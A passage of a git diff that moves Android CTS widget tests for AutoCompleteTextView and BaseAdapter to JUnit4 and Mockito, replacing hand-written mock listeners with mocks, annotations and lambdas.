-        assertSame(testOnItemSelectedListener, mAutoCompleteTextView.getItemSelectedListener());
-        assertSame(testOnItemSelectedListener, mAutoCompleteTextView.getOnItemSelectedListener());
+        mAutoCompleteTextView.setOnItemSelectedListener(mockItemSelectedListener);
+        assertSame(mockItemSelectedListener, mAutoCompleteTextView.getItemSelectedListener());
+        assertSame(mockItemSelectedListener, mAutoCompleteTextView.getOnItemSelectedListener());
+        verifyZeroInteractions(mockItemSelectedListener);
 
         //re-clear listener by setOnItemClickListener
         mAutoCompleteTextView.setOnItemSelectedListener(null);
         assertNull(mAutoCompleteTextView.getItemSelectedListener());
         assertNull(mAutoCompleteTextView.getOnItemSelectedListener());
+        verifyZeroInteractions(mockItemSelectedListener);
     }
 
     @UiThreadTest
+    @Test
     public void testConvertSelectionToString() {
         MockAutoCompleteTextView autoCompleteTextView = new MockAutoCompleteTextView(mActivity);
 
@@ -246,119 +310,177 @@
     }
 
     @UiThreadTest
+    @Test
     public void testOnTextChanged() {
-        MockAutoCompleteTextView autoCompleteTextView = new MockAutoCompleteTextView(mActivity);
+        final TextWatcher mockTextWatcher = mock(TextWatcher.class);
+        mAutoCompleteTextView.addTextChangedListener(mockTextWatcher);
+        verify(mockTextWatcher, never()).onTextChanged(any(CharSequence.class),
+                anyInt(), anyInt(), anyInt());
 
-        assertFalse(autoCompleteTextView.isOnTextChanged());
-        assertEquals("", autoCompleteTextView.getLastChangeText());
-        assertEquals("", autoCompleteTextView.getText().toString());
-        assertEquals(0, autoCompleteTextView.getStart());
-        assertEquals(0, autoCompleteTextView.getBefore());
-        assertEquals(0, autoCompleteTextView.getAfter());
-
-        autoCompleteTextView.setText(STRING_TEST);
-        assertEquals(STRING_TEST, autoCompleteTextView.getText().toString());
-        assertTrue(autoCompleteTextView.isOnTextChanged());
-        assertEquals(STRING_TEST, autoCompleteTextView.getLastChangeText());
-        assertEquals(0, autoCompleteTextView.getStart());
-        assertEquals(0, autoCompleteTextView.getBefore());
-        assertEquals(STRING_TEST.length(), autoCompleteTextView.getAfter());
+        mAutoCompleteTextView.setText(STRING_TEST);
+        verify(mockTextWatcher, times(1)).onTextChanged(sameCharSequence(STRING_TEST),
+                eq(0), eq(0), eq(STRING_TEST.length()));
 
         // Test replacing text.
-        autoCompleteTextView.resetStatus();
-        autoCompleteTextView.setText(STRING_CHECK);
-        assertEquals(STRING_CHECK, autoCompleteTextView.getText().toString());
-        assertEquals(STRING_CHECK, autoCompleteTextView.getLastChangeText());
-        assertEquals(0, autoCompleteTextView.getStart());
-        assertEquals(STRING_TEST.length(), autoCompleteTextView.getBefore());
-        assertEquals(STRING_CHECK.length(), autoCompleteTextView.getAfter());
+        mAutoCompleteTextView.setText(STRING_CHECK);
+        verify(mockTextWatcher, times(1)).onTextChanged(sameCharSequence(STRING_CHECK),
+                eq(0), eq(STRING_TEST.length()), eq(STRING_CHECK.length()));
     }
 
     @UiThreadTest
-    public void testPopupWindow() throws XmlPullParserException, IOException {
+    @Test
+    public void testPopupWindow() {
+        final AutoCompleteTextView.OnDismissListener mockDismissListener =
+                mock(AutoCompleteTextView.OnDismissListener.class);
+        mAutoCompleteTextView.setOnDismissListener(mockDismissListener);
+
         assertFalse(mAutoCompleteTextView.isPopupShowing());
         mAutoCompleteTextView.showDropDown();
         assertTrue(mAutoCompleteTextView.isPopupShowing());
+        verifyZeroInteractions(mockDismissListener);
 
         mAutoCompleteTextView.dismissDropDown();
         assertFalse(mAutoCompleteTextView.isPopupShowing());
+        verify(mockDismissListener, times(1)).onDismiss();
 
         mAutoCompleteTextView.showDropDown();
         assertTrue(mAutoCompleteTextView.isPopupShowing());
+        verify(mockDismissListener, times(1)).onDismiss();
 
         final MockValidator validator = new MockValidator();
         mAutoCompleteTextView.setValidator(validator);
         mAutoCompleteTextView.requestFocus();
         mAutoCompleteTextView.showDropDown();
-        assertTrue(mAutoCompleteTextView.isPopupShowing());
         mAutoCompleteTextView.setText(STRING_TEST);
         assertEquals(STRING_TEST, mAutoCompleteTextView.getText().toString());
+
         // clearFocus will trigger onFocusChanged, and onFocusChanged will validate the text.
         mAutoCompleteTextView.clearFocus();
         assertFalse(mAutoCompleteTextView.isPopupShowing());
         assertEquals(STRING_VALIDATED, mAutoCompleteTextView.getText().toString());
+        verify(mockDismissListener, times(2)).onDismiss();
+
+        verifyNoMoreInteractions(mockDismissListener);
     }
 
     @UiThreadTest
+    @Test
+    public void testDropDownMetrics() {
+        mAutoCompleteTextView.setAdapter(mAdapter);
+
+        final Resources res = mActivity.getResources();
+        final int dropDownWidth =
+                res.getDimensionPixelSize(R.dimen.autocomplete_textview_dropdown_width);
+        final int dropDownHeight =
+                res.getDimensionPixelSize(R.dimen.autocomplete_textview_dropdown_height);
+        final int dropDownOffsetHorizontal =
+                res.getDimensionPixelSize(R.dimen.autocomplete_textview_dropdown_offset_h);
+        final int dropDownOffsetVertical =
+                res.getDimensionPixelSize(R.dimen.autocomplete_textview_dropdown_offset_v);
+
+        mAutoCompleteTextView.setDropDownWidth(dropDownWidth);
+        mAutoCompleteTextView.setDropDownHeight(dropDownHeight);
+        mAutoCompleteTextView.setDropDownHorizontalOffset(dropDownOffsetHorizontal);
+        mAutoCompleteTextView.setDropDownVerticalOffset(dropDownOffsetVertical);
+
+        mAutoCompleteTextView.showDropDown();
+
+        assertEquals(dropDownWidth, mAutoCompleteTextView.getDropDownWidth());
+        assertEquals(dropDownHeight, mAutoCompleteTextView.getDropDownHeight());
+        assertEquals(dropDownOffsetHorizontal, mAutoCompleteTextView.getDropDownHorizontalOffset());
+        assertEquals(dropDownOffsetVertical, mAutoCompleteTextView.getDropDownVerticalOffset());
+    }
+
+    @Test
+    public void testDropDownBackground() throws Throwable {
+        mActivityRule.runOnUiThread(() -> mAutoCompleteTextView.setAdapter(mAdapter));
+
+        mActivityRule.runOnUiThread(() -> {
+            mAutoCompleteTextView.setDropDownBackgroundResource(R.drawable.blue_fill);
+            mAutoCompleteTextView.showDropDown();
+        });
+        mInstrumentation.waitForIdleSync();
+
+        Drawable dropDownBackground = mAutoCompleteTextView.getDropDownBackground();
+        TestUtils.assertAllPixelsOfColor("Drop down should be blue", dropDownBackground,
+                dropDownBackground.getBounds().width(), dropDownBackground.getBounds().height(),
+                false, Color.BLUE, 1, true);
+
+        mActivityRule.runOnUiThread(() -> {
+            mAutoCompleteTextView.dismissDropDown();
+            mAutoCompleteTextView.setDropDownBackgroundDrawable(
+                    mActivity.getDrawable(R.drawable.yellow_fill));
+            mAutoCompleteTextView.showDropDown();
+        });
+        mInstrumentation.waitForIdleSync();
+
+        dropDownBackground = mAutoCompleteTextView.getDropDownBackground();
+        TestUtils.assertAllPixelsOfColor("Drop down should be yellow", dropDownBackground,
+                dropDownBackground.getBounds().width(), dropDownBackground.getBounds().height(),
+                false, Color.YELLOW, 1, true);
+    }
+
+    @UiThreadTest
+    @Test
     public void testReplaceText() {
-        MockAutoCompleteTextView autoCompleteTextView = new MockAutoCompleteTextView(mActivity);
+        final TextWatcher mockTextWatcher = mock(TextWatcher.class);
+        mMockAutoCompleteTextView.addTextChangedListener(mockTextWatcher);
+        verify(mockTextWatcher, never()).onTextChanged(any(CharSequence.class),
+                anyInt(), anyInt(), anyInt());
 
-        assertEquals("", autoCompleteTextView.getText().toString());
-        assertFalse(autoCompleteTextView.isOnTextChanged());
-        autoCompleteTextView.replaceText("Text");
-        assertEquals("Text", autoCompleteTextView.getText().toString());
-        assertTrue(autoCompleteTextView.isOnTextChanged());
+        mMockAutoCompleteTextView.replaceText("Text");
+        assertEquals("Text", mMockAutoCompleteTextView.getText().toString());
+        verify(mockTextWatcher, times(1)).onTextChanged(sameCharSequence("Text"),
+                eq(0), eq(0), eq("Text".length()));
 
-        autoCompleteTextView.resetStatus();
-        assertFalse(autoCompleteTextView.isOnTextChanged());
-        autoCompleteTextView.replaceText("Another");
-        assertEquals("Another", autoCompleteTextView.getText().toString());
-        assertTrue(autoCompleteTextView.isOnTextChanged());
+        mMockAutoCompleteTextView.replaceText("Another");
+        assertEquals("Another", mMockAutoCompleteTextView.getText().toString());
+        verify(mockTextWatcher, times(1)).onTextChanged(sameCharSequence("Another"),
+                eq(0), eq("Text".length()), eq("Another".length()));
     }
 
     @UiThreadTest
+    @Test
     public void testSetFrame() {
-        MockAutoCompleteTextView autoCompleteTextView = new MockAutoCompleteTextView(mActivity);
-
-        assertTrue(autoCompleteTextView.setFrame(0, 1, 2, 3));
-        assertEquals(0, autoCompleteTextView.getLeft());
-        assertEquals(1, autoCompleteTextView.getTop());
-        assertEquals(2, autoCompleteTextView.getRight());
-        assertEquals(3, autoCompleteTextView.getBottom());
+        assertTrue(mMockAutoCompleteTextView.setFrame(0, 1, 2, 3));
+        assertEquals(0, mMockAutoCompleteTextView.getLeft());
+        assertEquals(1, mMockAutoCompleteTextView.getTop());
+        assertEquals(2, mMockAutoCompleteTextView.getRight());
+        assertEquals(3, mMockAutoCompleteTextView.getBottom());
 
         // If the values are the same as old ones, function will return false
-        assertFalse(autoCompleteTextView.setFrame(0, 1, 2, 3));
-        assertEquals(0, autoCompleteTextView.getLeft());
-        assertEquals(1, autoCompleteTextView.getTop());
-        assertEquals(2, autoCompleteTextView.getRight());
-        assertEquals(3, autoCompleteTextView.getBottom());
+        assertFalse(mMockAutoCompleteTextView.setFrame(0, 1, 2, 3));
+        assertEquals(0, mMockAutoCompleteTextView.getLeft());
+        assertEquals(1, mMockAutoCompleteTextView.getTop());
+        assertEquals(2, mMockAutoCompleteTextView.getRight());
+        assertEquals(3, mMockAutoCompleteTextView.getBottom());
 
         // If the values are not the same as old ones, function will return true
-        assertTrue(autoCompleteTextView.setFrame(2, 3, 4, 5));
-        assertEquals(2, autoCompleteTextView.getLeft());
-        assertEquals(3, autoCompleteTextView.getTop());
-        assertEquals(4, autoCompleteTextView.getRight());
-        assertEquals(5, autoCompleteTextView.getBottom());
+        assertTrue(mMockAutoCompleteTextView.setFrame(2, 3, 4, 5));
+        assertEquals(2, mMockAutoCompleteTextView.getLeft());
+        assertEquals(3, mMockAutoCompleteTextView.getTop());
+        assertEquals(4, mMockAutoCompleteTextView.getRight());
+        assertEquals(5, mMockAutoCompleteTextView.getBottom());
     }
 
+    @UiThreadTest
+    @Test
     public void testGetThreshold() {
-        final AutoCompleteTextView autoCompleteTextView = (AutoCompleteTextView) mActivity
-                .findViewById(R.id.autocompletetv_edit);
-        assertNotNull(autoCompleteTextView);
-
-        assertEquals(1, autoCompleteTextView.getThreshold());
-        autoCompleteTextView.setThreshold(3);
-        assertEquals(3, autoCompleteTextView.getThreshold());
+        assertEquals(1, mAutoCompleteTextView.getThreshold());
+        mAutoCompleteTextView.setThreshold(3);
+        assertEquals(3, mAutoCompleteTextView.getThreshold());
 
         // Test negative value input
-        autoCompleteTextView.setThreshold(-5);
-        assertEquals(1, autoCompleteTextView.getThreshold());
+        mAutoCompleteTextView.setThreshold(-5);
+        assertEquals(1, mAutoCompleteTextView.getThreshold());
 
         // Test zero
-        autoCompleteTextView.setThreshold(0);
-        assertEquals(1, autoCompleteTextView.getThreshold());
+        mAutoCompleteTextView.setThreshold(0);
+        assertEquals(1, mAutoCompleteTextView.getThreshold());
     }
 
+    @UiThreadTest
+    @Test
     public void testAccessValidater() {
         final MockValidator validator = new MockValidator();
 
@@ -371,6 +493,7 @@
         assertNull(mAutoCompleteTextView.getValidator());
     }
 
+    @Test
     public void testOnFilterComplete() throws Throwable {
         // Set Threshold to 4 characters
         mAutoCompleteTextView.setThreshold(4);
@@ -384,22 +507,15 @@
         }
 
         // Test the filter if the input string is not long enough to threshold
-        runTestOnUiThread(new Runnable() {
-            public void run() {
+        mActivityRule.runOnUiThread(() -> {
                 mAutoCompleteTextView.setAdapter(mAdapter);
                 mAutoCompleteTextView.setText("");
                 mAutoCompleteTextView.requestFocus();
-            }
         });
         mInstrumentation.sendStringSync(testString);
 
         // onFilterComplete will close the popup.
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return !mAutoCompleteTextView.isPopupShowing();
-            }
-        }.run();
+        PollingCheck.waitFor(() -> !mAutoCompleteTextView.isPopupShowing());
 
         if (mNumeric) {
             // "that" in case of 12-key(NUMERIC) keyboard
@@ -408,20 +524,13 @@
             testString = "that";
         }
         mInstrumentation.sendStringSync(testString);
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return !mAutoCompleteTextView.isPopupShowing();
-            }
-        }.run();
+        PollingCheck.waitFor(() -> !mAutoCompleteTextView.isPopupShowing());
 
         // Test the expected filter matching scene
-        runTestOnUiThread(new Runnable() {
-            public void run() {
+        mActivityRule.runOnUiThread(() -> {
                 mAutoCompleteTextView.setFocusable(true);
                 mAutoCompleteTextView.requestFocus();
                 mAutoCompleteTextView.setText("");
-            }
         });
         if (mNumeric) {
             // "test" in case of 12-key(NUMERIC) keyboard
@@ -431,20 +540,15 @@
         }
         assertTrue(mAutoCompleteTextView.hasFocus());
         assertTrue(mAutoCompleteTextView.hasWindowFocus());
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return mAutoCompleteTextView.isPopupShowing();
-            }
-        }.run();
+        PollingCheck.waitFor(() -> mAutoCompleteTextView.isPopupShowing());
     }
 
+    @Test
     public void testPerformFiltering() throws Throwable {
         if (isTvMode()) {
             return;
         }
-        runTestOnUiThread(new Runnable() {
-            public void run() {
+        mActivityRule.runOnUiThread(() -> {
                 mAutoCompleteTextView.setAdapter(mAdapter);
                 mAutoCompleteTextView.setValidator(mValidator);
 
@@ -452,7 +556,6 @@
                 mAutoCompleteTextView.setFocusable(true);
                 mAutoCompleteTextView.requestFocus();
                 mAutoCompleteTextView.showDropDown();
-            }
         });
         mInstrumentation.waitForIdleSync();
         assertTrue(mAutoCompleteTextView.isPopupShowing());
@@ -461,11 +564,9 @@
         // KeyBack will close the popup.
         assertFalse(mAutoCompleteTextView.isPopupShowing());
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
+        mActivityRule.runOnUiThread(() -> {
                 mAutoCompleteTextView.dismissDropDown();
                 mAutoCompleteTextView.setText(STRING_TEST);
-            }
         });
         mInstrumentation.waitForIdleSync();
 
@@ -478,12 +579,10 @@
                 android.R.layout.simple_dropdown_item_1line, WORDS);
 
         // Set Threshold to 4 charactersonKeyDown
-        runTestOnUiThread(new Runnable() {
-            public void run() {
+        mActivityRule.runOnUiThread(() -> {
                 mAutoCompleteTextView.setAdapter(adapter);
                 mAutoCompleteTextView.requestFocus();
                 mAutoCompleteTextView.setText("");
-            }
         });
         mInstrumentation.waitForIdleSync();
         // Create and get the filter.
@@ -495,38 +594,28 @@
         if (mNumeric) {
             // "numeric" in case of 12-key(NUMERIC) keyboard
             mInstrumentation.sendStringSync("6688633777444222");
-            new PollingCheck() {
-                @Override
-                protected boolean check() {
-                    return "numeric".equals(filter.getResult());
-                }
-            }.run();
+            PollingCheck.waitFor(() -> "numeric".equals(filter.getResult()));
         } else {
-            Thread.sleep(200);
+            SystemClock.sleep(200);
             mInstrumentation.sendStringSync(STRING_TEST);
-            new PollingCheck() {
-                @Override
-                protected boolean check() {
-                    return STRING_TEST.equals(filter.getResult());
-                }
-            }.run();
+            PollingCheck.waitFor(() -> STRING_TEST.equals(filter.getResult()));
         }
     }
 
-    public void testPerformCompletion() throws Throwable {
+    @Test
+    public void testPerformCompletionWithDPad() throws Throwable {
         if (isTvMode()) {
             return;
         }
-        final MockOnItemClickListener listener = new MockOnItemClickListener();
+        final AdapterView.OnItemClickListener mockItemClickListener =
+                mock(AdapterView.OnItemClickListener.class);
         assertFalse(mAutoCompleteTextView.isPerformingCompletion());
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mAutoCompleteTextView.setOnItemClickListener(listener);
-                mAutoCompleteTextView.setAdapter(mAdapter);
-                mAutoCompleteTextView.requestFocus();
-                mAutoCompleteTextView.showDropDown();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mAutoCompleteTextView.setOnItemClickListener(mockItemClickListener);
+            mAutoCompleteTextView.setAdapter(mAdapter);
+            mAutoCompleteTextView.requestFocus();
+            mAutoCompleteTextView.showDropDown();
         });
         mInstrumentation.waitForIdleSync();
         assertFalse(mAutoCompleteTextView.isPerformingCompletion());
@@ -535,55 +624,117 @@
         mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_DPAD_DOWN);
         mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_ENTER);
         mInstrumentation.waitForIdleSync();
-        assertTrue(listener.isOnItemClicked());
-
+        verify(mockItemClickListener, times(1)).onItemClick(any(AdapterView.class), any(View.class),
+                eq(0), eq(0L));
         assertEquals(WORDS[0], mAutoCompleteTextView.getText().toString());
 
-        // re-set 'clicked' flag to false
-        listener.clearItemClickedStatus();
-
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mAutoCompleteTextView.showDropDown();
-            }
-        });
+        mActivityRule.runOnUiThread(mAutoCompleteTextView::showDropDown);
         mInstrumentation.waitForIdleSync();
         mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_DPAD_DOWN);
         mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_DPAD_CENTER);
-        assertTrue(listener.isOnItemClicked());
+        verify(mockItemClickListener, times(2)).onItemClick(any(AdapterView.class), any(View.class),
+                eq(0), eq(0L));
         assertEquals(WORDS[0], mAutoCompleteTextView.getText().toString());
         assertFalse(mAutoCompleteTextView.isPerformingCompletion());
 
-        listener.clearItemClickedStatus();
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mAutoCompleteTextView.showDropDown();
-            }
-        });
+        mActivityRule.runOnUiThread(mAutoCompleteTextView::showDropDown);
         mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_DPAD_DOWN);
         // Test normal key code.
         mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_0);
-        assertFalse(listener.isOnItemClicked());
+        verifyNoMoreInteractions(mockItemClickListener);
         assertNotSame("", mAutoCompleteTextView.getText().toString());
         assertFalse(mAutoCompleteTextView.isPerformingCompletion());
 
-        listener.clearItemClickedStatus();
-
         // Test the method on the scene of popup is closed.
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-               mAutoCompleteTextView.dismissDropDown();
-            }
-        });
+        mActivityRule.runOnUiThread(mAutoCompleteTextView::dismissDropDown);
 
         mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_DPAD_DOWN);
         mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_ENTER);
-        assertFalse(listener.isOnItemClicked());
+        verifyNoMoreInteractions(mockItemClickListener);
         assertNotSame("", mAutoCompleteTextView.getText().toString());
         assertFalse(mAutoCompleteTextView.isPerformingCompletion());
     }
 
+    @Test
+    public void testPerformCompletionExplicit() throws Throwable {
+        final AdapterView.OnItemClickListener mockItemClickListener =
+                mock(AdapterView.OnItemClickListener.class);
+        assertFalse(mAutoCompleteTextView.isPerformingCompletion());
+
+        // Create a custom watcher that checks isPerformingCompletion to return true
+        // in the "middle" of the performCompletion processing. We also spy on this watcher
+        // to make sure that its onTextChanged is invoked.
+        final TextWatcher myTextWatcher = new MyTextWatcher(WORDS[1]);
+        final TextWatcher spyTextWatcher = spy(myTextWatcher);
+        mAutoCompleteTextView.addTextChangedListener(spyTextWatcher);
+
+        mActivityRule.runOnUiThread(() -> {
+            mAutoCompleteTextView.setOnItemClickListener(mockItemClickListener);
+            mAutoCompleteTextView.setAdapter(mAdapter);
+            mAutoCompleteTextView.requestFocus();
+            mAutoCompleteTextView.showDropDown();
+        });
+        mInstrumentation.waitForIdleSync();
+
+        assertTrue(mAutoCompleteTextView.isPopupShowing());
+        assertFalse(mAutoCompleteTextView.isPerformingCompletion());
+
+        mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_DPAD_DOWN);
+        mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_DPAD_DOWN);
+        mActivityRule.runOnUiThread(mAutoCompleteTextView::performCompletion);
+        verify(mockItemClickListener, times(1)).onItemClick(any(AdapterView.class), any(View.class),
+                eq(1), eq(1L));
+        assertEquals(WORDS[1], mAutoCompleteTextView.getText().toString());
+        assertFalse(mAutoCompleteTextView.isPerformingCompletion());
+        assertFalse(mAutoCompleteTextView.isPopupShowing());
+
+        verify(spyTextWatcher, atLeastOnce()).onTextChanged(sameCharSequence(WORDS[1]),
+                eq(0), eq(0), eq(WORDS[1].length()));
+        verifyNoMoreInteractions(mockItemClickListener);
+    }
+
+    @Test
+    public void testSetTextWithCompletion() throws Throwable {
+        final AdapterView.OnItemClickListener mockItemClickListener =
+                mock(AdapterView.OnItemClickListener.class);
+
+        mActivityRule.runOnUiThread(() -> {
+            mAutoCompleteTextView.setOnItemClickListener(mockItemClickListener);
+            mAutoCompleteTextView.setAdapter(mAdapter);
+        });
+        mInstrumentation.waitForIdleSync();
+
+        assertFalse(mAutoCompleteTextView.isPopupShowing());
+
+        mActivityRule.runOnUiThread(() -> mAutoCompleteTextView.setText("testO", true));
+        mInstrumentation.waitForIdleSync();
+
+        assertTrue(mAutoCompleteTextView.isPopupShowing());
+        verifyZeroInteractions(mockItemClickListener);
+    }
+
+    @Test
+    public void testSetTextWithNoCompletion() throws Throwable {
+        final AdapterView.OnItemClickListener mockItemClickListener =
+                mock(AdapterView.OnItemClickListener.class);
+
+        mActivityRule.runOnUiThread(() -> {
+            mAutoCompleteTextView.setOnItemClickListener(mockItemClickListener);
+            mAutoCompleteTextView.setAdapter(mAdapter);
+        });
+        mInstrumentation.waitForIdleSync();
+
+        assertFalse(mAutoCompleteTextView.isPopupShowing());
+
+        mActivityRule.runOnUiThread(() -> mAutoCompleteTextView.setText("testO", false));
+        mInstrumentation.waitForIdleSync();
+
+        assertFalse(mAutoCompleteTextView.isPopupShowing());
+        verifyZeroInteractions(mockItemClickListener);
+    }
+
     @UiThreadTest
+    @Test
     public void testPerformValidation() {
         final CharSequence text = "this";
 
@@ -596,41 +747,30 @@
         mAutoCompleteTextView.setValidator(null);
     }
 
-    public void testSetCompletionHint() {
+    @UiThreadTest
+    @Test
+    public void testAccessCompletionHint() {
         mAutoCompleteTextView.setCompletionHint("TEST HINT");
+        assertEquals("TEST HINT", mAutoCompleteTextView.getCompletionHint());
+
+        mAutoCompleteTextView.setCompletionHint(null);
+        assertNull(mAutoCompleteTextView.getCompletionHint());
     }
 
-    public void testOnAttachedToWindow() {
-        // implement details, do not test
-    }
-
-    public void testOnCommitCompletion() {
-        // implement details, do not test
-    }
-
-    public void testOnDetachedFromWindow() {
-        // implement details, do not test
-    }
-
-    public void testOnKeyPreIme() {
-        // implement details, do not test
-    }
-
+    @Test
     public void testAccessListSelection() throws Throwable {
-        final MockOnItemClickListener listener = new MockOnItemClickListener();
+        final AdapterView.OnItemClickListener mockItemClickListener =
+                mock(AdapterView.OnItemClickListener.class);
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mAutoCompleteTextView.setOnItemClickListener(listener);
+        mActivityRule.runOnUiThread(() -> {
+                mAutoCompleteTextView.setOnItemClickListener(mockItemClickListener);
                 mAutoCompleteTextView.setAdapter(mAdapter);
                 mAutoCompleteTextView.requestFocus();
                 mAutoCompleteTextView.showDropDown();
-            }
         });
         mInstrumentation.waitForIdleSync();
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
+        mActivityRule.runOnUiThread(() -> {
                 mAutoCompleteTextView.setListSelection(1);
                 assertEquals(1, mAutoCompleteTextView.getListSelection());
 
@@ -639,11 +779,12 @@
 
                 mAutoCompleteTextView.clearListSelection();
                 assertEquals(2, mAutoCompleteTextView.getListSelection());
-            }
         });
         mInstrumentation.waitForIdleSync();
     }
 
+    @UiThreadTest
+    @Test
     public void testAccessDropDownAnchor() {
         mAutoCompleteTextView.setDropDownAnchor(View.NO_ID);
         assertEquals(View.NO_ID, mAutoCompleteTextView.getDropDownAnchor());
@@ -652,6 +793,8 @@
         assertEquals(0x5555, mAutoCompleteTextView.getDropDownAnchor());
     }
 
+    @UiThreadTest
+    @Test
     public void testAccessDropDownWidth() {
         mAutoCompleteTextView.setDropDownWidth(ViewGroup.LayoutParams.WRAP_CONTENT);
         assertEquals(ViewGroup.LayoutParams.WRAP_CONTENT, mAutoCompleteTextView.getDropDownWidth());
@@ -660,75 +803,25 @@
         assertEquals(ViewGroup.LayoutParams.MATCH_PARENT, mAutoCompleteTextView.getDropDownWidth());
     }
 
-    private static class MockOnItemClickListener implements AdapterView.OnItemClickListener {
-        private boolean mOnItemClickedFlag = false;
-
-        public void onItemClick(AdapterView<?> parent, View view, int position, long id) {
-            mOnItemClickedFlag = true;
-            return;
-        }
-
-        public boolean isOnItemClicked() {
-            return mOnItemClickedFlag;
-        }
-
-        public void clearItemClickedStatus() {
-            mOnItemClickedFlag = false;
-        }
-    }
-
-    private static class MockOnItemSelectedListener implements AdapterView.OnItemSelectedListener {
-        public void onItemSelected(AdapterView<?> parent, View view, int position, long id) {
-            return;
-        }
-
-        public void onNothingSelected(AdapterView<?> parent) {
-            return;
-        }
-    }
-
     private class MockValidator implements AutoCompleteTextView.Validator {
         public CharSequence fixText(CharSequence invalidText) {
             return STRING_VALIDATED;
         }
 
         public boolean isValid(CharSequence text) {
-            if (text == STRING_TEST) {
-                return true;
-            }
-            return false;
+            return (text == STRING_TEST);
         }
     }
 
-    private static class MockAutoCompleteTextView extends AutoCompleteTextView {
-        private boolean mOnTextChangedFlag = false;
-        private boolean mOnFilterCompleteFlag = false;
-        private String lastChangeText = "";
-        private int mStart = 0;
-        private int mBefore = 0;
-        private int mAfter = 0;
-
-        public void resetStatus() {
-            mOnTextChangedFlag = false;
-            mOnFilterCompleteFlag = false;
-            mStart = 0;
-            mBefore = 0;
-            mAfter = 0;
-        }
-
+    public static class MockAutoCompleteTextView extends AutoCompleteTextView {
         public MockAutoCompleteTextView(Context context) {
             super(context);
-            resetStatus();
         }
 
         public MockAutoCompleteTextView(Context context, AttributeSet attrs) {
             super(context, attrs);
         }
 
-        protected MockAutoCompleteTextView(Context context, AttributeSet attrs, int defStyle) {
-            super(context, attrs, defStyle);
-        }
-
         @Override
         protected CharSequence convertSelectionToString(Object selectedItem) {
             return super.convertSelectionToString(selectedItem);
@@ -745,16 +838,6 @@
         }
 
         @Override
-        protected void onTextChanged(CharSequence text, int start, int before, int after) {
-            super.onTextChanged(text, start, before, after);
-            mOnTextChangedFlag = true;
-            lastChangeText = text.toString();
-            mStart = start;
-            mBefore = before;
-            mAfter = after;
-        }
-
-        @Override
         protected void performFiltering(CharSequence text, int keyCode) {
             super.performFiltering(text, keyCode);
         }
@@ -768,36 +851,6 @@
         protected boolean setFrame(int l, int t, int r, int b) {
             return super.setFrame(l, t, r, b);
         }
-
-        @Override
-        public void onFilterComplete(int count) {
-            super.onFilterComplete(count);
-            mOnFilterCompleteFlag = true;
-        }
-
-        protected boolean isOnTextChanged() {
-            return mOnTextChangedFlag;
-        }
-
-        protected String getLastChangeText() {
-            return lastChangeText;
-        }
-
-        protected boolean isOnFilterComplete() {
-            return mOnFilterCompleteFlag;
-        }
-
-        protected int getStart() {
-            return mStart;
-        }
-
-        protected int getBefore() {
-            return mBefore;
-        }
-
-        protected int getAfter() {
-            return mAfter;
-        }
     }
 
     private static class MockFilter extends Filter {
diff --git a/tests/tests/widget/src/android/widget/cts/BaseAdapterTest.java b/tests/tests/widget/src/android/widget/cts/BaseAdapterTest.java
index 7659c1e..42c3269 100644
--- a/tests/tests/widget/src/android/widget/cts/BaseAdapterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/BaseAdapterTest.java
@@ -16,78 +16,103 @@
 
 package android.widget.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.verifyZeroInteractions;
+
 import android.database.DataSetObserver;
-import android.test.AndroidTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.View;
 import android.view.ViewGroup;
 import android.widget.BaseAdapter;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 /**
  * Test {@link BaseAdapter}.
  */
-public class BaseAdapterTest extends AndroidTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class BaseAdapterTest {
+    @Test
     public void testHasStableIds() {
         BaseAdapter baseAdapter = new MockBaseAdapter();
         assertFalse(baseAdapter.hasStableIds());
     }
 
+    @Test
     public void testDataSetObserver() {
         BaseAdapter baseAdapter = new MockBaseAdapter();
-        MockDataSetObserver dataSetObserver = new MockDataSetObserver();
+        DataSetObserver mockDataSetObserver = mock(DataSetObserver.class);
 
-        assertFalse(dataSetObserver.hasCalledOnChanged());
+        verifyZeroInteractions(mockDataSetObserver);
         baseAdapter.notifyDataSetChanged();
-        assertFalse(dataSetObserver.hasCalledOnChanged());
+        verifyZeroInteractions(mockDataSetObserver);
 
-        baseAdapter.registerDataSetObserver(dataSetObserver);
+        baseAdapter.registerDataSetObserver(mockDataSetObserver);
         baseAdapter.notifyDataSetChanged();
-        assertTrue(dataSetObserver.hasCalledOnChanged());
+        verify(mockDataSetObserver, times(1)).onChanged();
 
-        dataSetObserver.reset();
-        assertFalse(dataSetObserver.hasCalledOnChanged());
-        baseAdapter.unregisterDataSetObserver(dataSetObserver);
+        reset(mockDataSetObserver);
+        verifyZeroInteractions(mockDataSetObserver);
+        baseAdapter.unregisterDataSetObserver(mockDataSetObserver);
         baseAdapter.notifyDataSetChanged();
-        assertFalse(dataSetObserver.hasCalledOnChanged());
